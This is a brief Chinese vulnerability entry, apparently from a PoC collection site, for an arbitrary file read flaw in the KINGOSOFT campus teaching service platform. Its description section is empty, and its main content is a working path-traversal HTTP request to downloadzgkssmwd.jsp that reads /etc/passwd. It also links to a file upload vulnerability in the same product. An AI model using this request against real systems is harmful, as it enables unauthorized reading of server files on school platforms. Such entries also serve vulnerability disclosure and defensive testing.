KINGOSOFT高校智慧校园教学综合服务平台 downloadzgkssmwd 任意文件读取漏洞

漏洞描述

PoC代码

GET /zgks/downloadzgkssmwd.jsp?fp=../../../../../../../../../../../etc/passwd HTTP/1.1

相关漏洞推荐

• POC KINGOSOFT高校智慧校园教学综合服务平台 uploadfile 任意文件上传漏洞